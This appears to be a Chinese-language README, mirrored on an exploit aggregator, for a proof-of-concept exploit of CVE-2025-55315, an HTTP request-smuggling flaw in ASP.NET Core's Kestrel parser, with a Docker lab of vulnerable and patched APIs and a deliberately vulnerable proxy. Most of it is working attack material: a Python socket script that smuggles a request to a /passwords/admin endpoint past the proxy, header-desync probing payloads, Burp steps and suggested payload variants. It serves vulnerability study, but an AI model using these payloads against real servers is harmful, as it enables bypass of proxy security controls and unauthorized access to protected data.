## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARTINFABIANIONUT-CVE-2025-55315
# CVE-2025-55315
CVE-2025-55315 的概念验证漏洞利用程序(.NET HTTP 请求走私)。展示了错误解析的分块编码如何让攻击者绕过易受攻击的 ASP.NET Core/Kestrel 服务器中的代理和负载均衡器进行请求走私。
## 📊 演示
**查看交互式 Prezi 演示**

> 🎥 点击上方徽章以查看完整的交互式 Prezi 演示
## 项目结构
* **Api** \- 整合的 ASP.NET Core API,包含两个 Dockerfile:
* `Dockerfile.vulnerable` \- 使用 .NET 10.0.100-rc.1(易受 CVE-2025-55315 影响)
* `Dockerfile.patched` \- 使用 .NET 10.0.100(已修补版本)
* **PythonProxy** \- 用于 CVE-2025-55315 漏洞利用演示的易受攻击代理(优先使用 Content-Length 而非 Transfer-Encoding)
* **YarpProxy** \- 用于测试负载均衡的 YARP 反向代理(不属于漏洞利用部分)
> **注意** :该漏洞存在于 .NET 运行时的 HTTP 解析器 (Kestrel) 中,而非应用程序代码。两个版本使用相同的源代码,但 .NET 运行时版本不同。
## 快速开始
root@kitploit:~
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
参见 DOCKER.md 以获取详细的 Docker 使用说明。
## 漏洞利用演示
Python 代理通过优先使用 Content-Length 而非 Transfer-Encoding 来演示 CVE-2025-55315,从而启用 HTTP 请求走私:
root@kitploit:~
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
该负载将第二个请求 `/passwords/admin` 走私通过代理的安全检查,利用了代理和后端服务器解析请求时的差异。
### 可视化请求解析
以下是代理和后端服务器对同一负载的不同解析方式:
**代理解析方式** (接受 `\n` 作为有效行结束符): root@kitploit:~
flowchart TD
subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
PCH2["<b>39</b><br/><i>chunk header</i>"]
PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
PLK["<b>0</b><br/><i>last chunk</i>"]
end
subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
end
PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
PLK -.-> PIG
| **后端解析方式** (拒绝 `\n`,要求 `\r\n`): root@kitploit:~
flowchart TD
subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
BCB1["<b>39</b><br/><i>chunk body</i>"]
BLK1["<b>0</b><br/><i>last chunk</i>"]
end
subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
BLK2["<b>0</b><br/><i>last chunk</i>"]
end
BH1 --> BCB1 --> BLK1
BLK1 --> BH2 --> BLK2
style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
---|---
**关键差异:**
组件| 分块大小 `2;\n`| 读取字节数| 发生情况
---|---|---|---
**代理**| ✅ 有效分块大小| 2 字节 (`xx`)| 将 `2;\n` 视为完整的分块头部,读取 2 字节,继续下一个分块
**后端**| ❌ 无效的行结束符| 仍读取为 `2` 字节分块| 分块头部直到 `xx\r\n` 才结束,因此 `39` 成为分块主体,`0` 结束分块
**详细说明:**
* **代理** :接受 `2;\n` 作为有效的分块大小声明(2 字节)→ 将 `xx` 读取为 2 字节的分块主体 → 移至下一个分块(`39`)
* **后端** :拒绝 `\n` 作为行结束符 → 分块头部延伸至 `2;\nxx\r\n` → 将 `39` 读取为分块主体的一部分 → `0\r\n` 终止分块
* **结果** :被走私的 `GET /passwords/admin` 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。
被走私的 `GET /passwords/admin` 请求隐藏在代理认为是分块主体数据的内容中,但后端将其解析为一个独立的 HTTP 请求。
## 识别漏洞
在利用之前,您需要确定不同组件优先使用哪个 HTTP 头部(Content-Length 或 Transfer-Encoding)。以下是分步指南:
### 第 1 步:测试头部优先级
发送一个同时包含 `Content-Length` 和 `Transfer-Encoding: chunked` 头部的请求,以查看每个组件尊重哪一个:
root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
**分析:**
* 如果服务器处理 **"Fa"** (2 字节)→ 它优先使用 `Content-Length`
* 如果服务器处理 **"Fabian"** (完整的分块主体)→ 它优先使用 `Transfer-Encoding`
### 第 2 步:测试每个组件
测试架构中的所有组件以发现差异:
#### 测试不安全 API(端口 5001)
root@kitploit:~
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
#### 测试安全 API(端口 5002)
root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly
#### 测试 Python 代理(端口 5027)
root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
#### 测试 YARP 代理(端口 5028)
root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict
### 第 3 步:使用 Burp Suite 进行手动测试
1. **拦截请求** :捕获一个正常的 POST 请求到 `/passwords`
2. **修改头部** :手动添加两个头部:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
3. **设置主体** :使用分块编码格式:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n
4. **比较响应** :发送到不同的端点,分析每个处理了主体的哪部分
5. **识别差异** :如果代理读取 2 字节但后端读取完整分块,则存在不同步漏洞
### 第 4 步:构造漏洞利用
一旦识别出:
* **代理** :优先使用 `Content-Length`(仅读取 N 字节)
* **后端** :优先使用 `Transfer-Encoding`(读取分块主体)
您可以走私一个代理从未看到但后端会处理的第二个请求。
### 第 5 步:验证漏洞利用
运行完整的漏洞利用负载(参见上方“漏洞利用演示”部分)并确认:
* 第一个响应:正常的 POST 结果
* 第二个响应:管理端点数据(走私请求成功)
### 推荐工具
* **Burp Suite** :手动请求构造和头部操作
* **Python`socket`**:用于精确 HTTP 格式的低级控制
* **带有`--data-binary` 的 curl**:快速命令行测试
* **Wireshark** :数据包级分析,以确切查看每个组件接收的内容
## 替代漏洞利用变体
漏洞利用可以通过多种方式构造。**尝试不同的方法:**
### 使用显式 Content-Length
root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
### 为什么它在没有 Content-Length 时也能工作
* **代理** :接受 `\n` 作为有效行结束符 → 将 `2;\n` 视为分块大小 → 读取 2 字节(`xx`)
* **后端** :拒绝 `\n` → 分块头部延伸至 `2;\nxx\r\n` → `39` 成为分块主体 → `0\r\n` 结束分块
* **结果** :被走私的请求隐藏在分块主体中,被后端作为独立请求解析
### 实验思路
通过修改 `PythonProxy/proxy_server.py` 尝试不同的不同步场景:
* **CL.TE** :代理使用 Content-Length,后端使用 Transfer-Encoding
* **TE.CL** :代理使用 Transfer-Encoding,后端使用 Content-Length(尝试自己构造 API)
* **TE.TE** :两者都使用 Transfer-Encoding,但解析方式不同(如 `\n` 与 `\r\n`)
尝试实验:
* 不同的分块大小和格式
* 连续多个走私请求
* 各种 HTTP 方法(GET、POST、PUT、DELETE)——您可以在 API 中添加它们
* 空白字符和特殊字符